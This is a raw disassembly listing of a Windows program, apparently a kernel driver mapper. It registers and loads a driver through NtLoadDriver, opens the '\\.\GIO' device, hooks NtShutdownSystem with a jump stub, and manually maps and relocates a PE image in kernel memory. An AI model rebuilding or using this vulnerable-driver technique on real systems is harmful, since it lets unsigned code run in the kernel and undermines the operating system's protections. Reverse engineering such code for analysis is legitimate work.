jne 0x14006a2a8
mov byte [rbp - 0x65], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x65]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006a2a8
mov byte [rbp - 0x66], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x66]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006a2a8
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14006a398
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006a2a8
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14006a40d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a408
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a408
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
test ebx, ebx
setne bl
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14006a456
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a451
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a451
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
movdqu xmmword [rbp + 0xd0], xmm6
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x14006a4a9
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a4a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a4a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
movdqu xmmword [rbp + 0xa8], xmm6
mov byte [rbp + 0x98], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14006a4fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a4f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a4f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
movdqa xmm0, xmmword [0x1402ebdc0]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], r15w
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x14006a555
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a550
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a550
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
test bl, bl
je 0x14006a560
xor bl, bl
jmp 0x14006a626
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x88], xmm1
mov r8d, gethostname
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x78]
call fcn.140031e50
nop
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x78]
call fcn.14006db90
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova rdx, qword [rbp + 0x78]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x14006a626
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a621
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a621
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xc0]
call fcn.140031530
mov byte [rbp + 0xe0], bl
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x150], rax
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x14c], edx
lea rcx, [rbp + 0x158]
call fcn.14006d000
lea rcx, [rbp + 0x160]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x14006a6d3
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a6ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a6ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x58], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14006a722
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a71c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a71c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
nop
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x14006a75d
mov rdx, qword [rbp]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a757
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006b0aa
call fcn.1400d6a14
nop
test bl, bl
jne 0x14006a970
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm6
mov byte [rsp + 0x68], bl
mov qword [rbp + 0x98], r15
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xa0]
call fcn.140031530
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14006a7d0
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a7ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a7ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14006a812
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a80c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006aa03
call fcn.1400d6a14
nop
cmp qword [rbp + 0x98], 0
je 0x14006b022
cmp qword [rbp + 0xb0], 0
je 0x14006b022
lea rcx, [rbp - 0x68]
call fcn.140072950
mov rbx, r14
mov r15d, dword [rbp + 0x50]
add r14, r15
mov eax, 4
cmp rbx, r14
jae 0x14006ab6e
mov esi, eax
mov rax, qword gs:[0x58]
add rsi, qword [rax]
nop dword [rax]
mov eax, dword [rsi]
cmp dword [0x1402ff980], eax
jle 0x14006a8af
lea rcx, [0x1402ff980]
call fcn.1400d6af0
cmp dword [0x1402ff980], 0xffffffff
jne 0x14006a8af
lea rcx, [0x1402ea748]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402ffa38], rax
lea rcx, [0x1402ff980]
call fcn.1400d6a84
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14006acca
cmp dword [0x1402fe1bc], 0x7fffffff
je 0x14006acb4
mov dword [rbp - 0x30], 0x25ff
mov word [rbp - 0x2c], ax
mov qword [rbp - 0x2a], r12
mov rcx, qword [0x1402ff990]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0xe8]
call fcn.140068090
mov rcx, qword [0x1402ff990]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x30]
call fcn.140068230
mov rax, qword [0x1402ffa38]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x1402ff990]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0xe8]
call fcn.140068230
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x68]
call fcn.1400731a0
test al, al
jne 0x14006aa0a
xor eax, eax
mov qword [rbp + 0x50], rax
jmp 0x14006aa0e
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1402ff988], rax
mov qword [rbp + 0x98], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.140031530
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14006a812
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a80c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a80c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, qword [rbp + 0x50]
test al, al
jns 0x14006aa30
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0x50], rax
lea r8, [rbp + 0x50]
jmp 0x14006ab4c
mov eax, dword [rsi]
cmp dword [0x1402ff980], eax
jle 0x14006aa7f
lea rcx, [0x1402ff980]
call fcn.1400d6af0
cmp dword [0x1402ff980], 0xffffffff
jne 0x14006aa7f
lea rcx, [0x1402ea748]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402ffa38], rax
lea rcx, [0x1402ff980]
call fcn.1400d6a84
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14006aca8
cmp dword [0x1402fe1bc], 0x7fffffff
je 0x14006ac92
mov dword [rbp - 0x20], 0x25ff
mov word [rbp - 0x1c], ax
mov qword [rbp - 0x1a], r13
mov rcx, qword [0x1402ff990]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x50]
call fcn.140068090
mov rcx, qword [0x1402ff990]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x20]
call fcn.140068230
mov rax, qword [0x1402ffa38]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x1402ff990]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x50]
call fcn.140068230
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x68]
call fcn.1400731a0
test al, al
jne 0x14006ab2f
xor eax, eax
jmp 0x14006ab33
mov rax, qword [rbp - 0x60]
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp - 0x60], rax
lea r8, [rbp - 0x60]
mov r9d, 8
mov rdx, rdi
lea rcx, [rbp - 0x68]
call fcn.140073920
add rbx, 0x1000
cmp rbx, r14
jb 0x14006a860
mov r9d, 4
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov r13, qword [rbp - 0x78]
mov r8d, dword [r13 + 0x54]
mov rdx, qword [0x1402ff548]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [r13 + 0x14]
add rbx, 0x28
xor r12d, r12d
mov edi, r12d
cmp r12w, word [r13 + 6]
jae 0x14006abe7
add rbx, r13
nop dword [rax + rax]
mov ecx, dword [rbx - 4]
add rcx, rsi
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, qword [0x1402ff548]
call sub.VCRUNTIME140.dll_memcpy
inc edi
lea rbx, [rbx + 0x28]
movzx eax, word [r13 + 6]
cmp edi, eax
jl 0x14006abc0
mov r14, qword [rsp + 0x40]
mov rdi, r14
sub rdi, qword [r13 + 0x30]
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14006ad04
movsxd rax, dword [rsi + 0x3c]
add rax, rsi
cmp dword [rax], 0x4550
jne 0x14006ad04
test rax, rax
je 0x14006ad04
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov r11, r12
mov qword [rbp - 0x40], r12
mov ebx, dword [rax + 0xb0]
add rbx, rsi
mov eax, dword [rbx]
mov r10, qword [rbp - 0x48]
test eax, eax
je 0x14006acfe
nop dword [rax]
nop word [rax + rax]
add rax, rsi
mov qword [rbp - 0x10], rax
lea rax, [rbx + 8]
mov qword [rbp - 8], rax
mov eax, dword [rbx + 4]
sub rax, 8
shr rax, 1
mov dword [rbp], eax
cmp r10, r11
je 0x14006acd6
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [r10], xmm0
movsd xmm1, qword [rbp]
movsd qword [r10 + 0x10], xmm1
mov r10, qword [rbp - 0x48]
add r10, 0x18
mov qword [rbp - 0x48], r10
jmp 0x14006acea
mov dword [0x1402fe1bc], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [0x1402fe1bc], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea r8, [rbp - 0x10]
mov rdx, r10
lea rcx, [rbp - 0x50]
call fcn.140072200
mov r10, qword [rbp - 0x48]
mov eax, dword [rbx + 4]
add rbx, rax
mov eax, dword [rbx]
mov r11, qword [rbp - 0x40]
test eax, eax
jne 0x14006ac50
mov rbx, qword [rbp - 0x50]
jmp 0x14006ad1c
xorps xmm1, xmm1
mov r11, r12
xorps xmm0, xmm0
psrldq xmm0, 8
movq r10, xmm0
movq rbx, xmm1
cmp rbx, r10
je 0x14006ad7f
lea r9, [rbx + 0x10]
mov r8d, r12d
cmp dword [r9], 0
jbe 0x14006ad72
mov r12d, 0xfff
nop dword [rax]
nop dword [rax + rax]
mov ecx, r8d
mov rax, qword [r9 - 8]
movzx edx, word [rax + rcx*2]
movzx eax, dx
shr ax, 0xc
and dx, r12w
cmp ax, 0xa
jne 0x14006ad67
movzx ecx, dx
mov rax, qword [r9 - 0x10]
add qword [rax + rcx], rdi
inc r8d
cmp r8d, dword [r9]
jb 0x14006ad40
xor r12d, r12d
add r9, 0x18
lea rax, [r9 - 0x10]
cmp rax, r10
jne 0x14006ad25
test rbx, rbx
je 0x14006adda
sub r11, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul r11
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rbx
cmp rdx, 0x1000
jb 0x14006add2
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006add2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400d6a14
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1400715c0
mov rcx, rax
call fcn.1400712e0
test al, al
jne 0x14006ae68
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xc0]
call fcn.140031530
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14006ae27
mov rcx, rbx
call fcn.140067be0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14006b013
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14006b00e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x14006b00b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r8d, dword [r13 + 0x54]
xor edx, edx
mov rcx, rsi
call fcn.1400d7aca
mov r9, r15
mov r8, rsi
mov rdx, r14
lea rcx, [rbp - 0x68]
call fcn.140073920
mov ebx, dword [r13 + 0x28]
add rbx, r14
mov edi, dword [r13 + 0x50]
mov r9d, 4
mov rax, qword gs:[0x58]
mov r8, qword [rax]
mov eax, dword [r9 + r8]
cmp dword [0x140300ed8], eax
jle 0x14006aef6
lea rcx, [0x140300ed8]
call fcn.1400d6af0
cmp dword [0x140300ed8], 0xffffffff
jne 0x14006aef6
lea rcx, [0x1402ea748]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140300ef8], rax
lea rcx, [0x140300ed8]
call fcn.1400d6a84
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x14006af13
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
cmp dword [0x1402fe15c], 0x7fffffff
jne 0x14006af35
mov dword [0x1402fe15c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rbp - 0x20], 0x25ff
mov word [rbp - 0x1c], 0
mov qword [rbp - 0x1a], rbx
mov rcx, qword [0x1402ff990]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x50]
call fcn.140068090
mov rcx, qword [0x1402ff990]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x20]
call fcn.140068230
mov rdx, rdi
mov rcx, r14
call qword [0x140300ef8]
mov rcx, qword [0x1402ff990]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x50]
call fcn.140068230
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xc0]
call fcn.140031530
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14006afd6
mov rcx, rbx
call fcn.140067be0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14006b013
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14006b00e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x14006b00b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.1400d6a14
mov byte [rbx], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx + 0x10], r12
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14006b067
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006b061
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006b061
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d6a14
nop
lea rcx, [rbp + 0x100]
call fcn.1400679d0
mov al, 1
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.1400d6710
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x50]
lea rcx, str.absolute
call fcn.1400661c0
nop
lea r8, [rbp + 0x58]
lea rdx, [rbp - 0x50]
lea rcx, str.absolute
call fcn.1400661c0
int3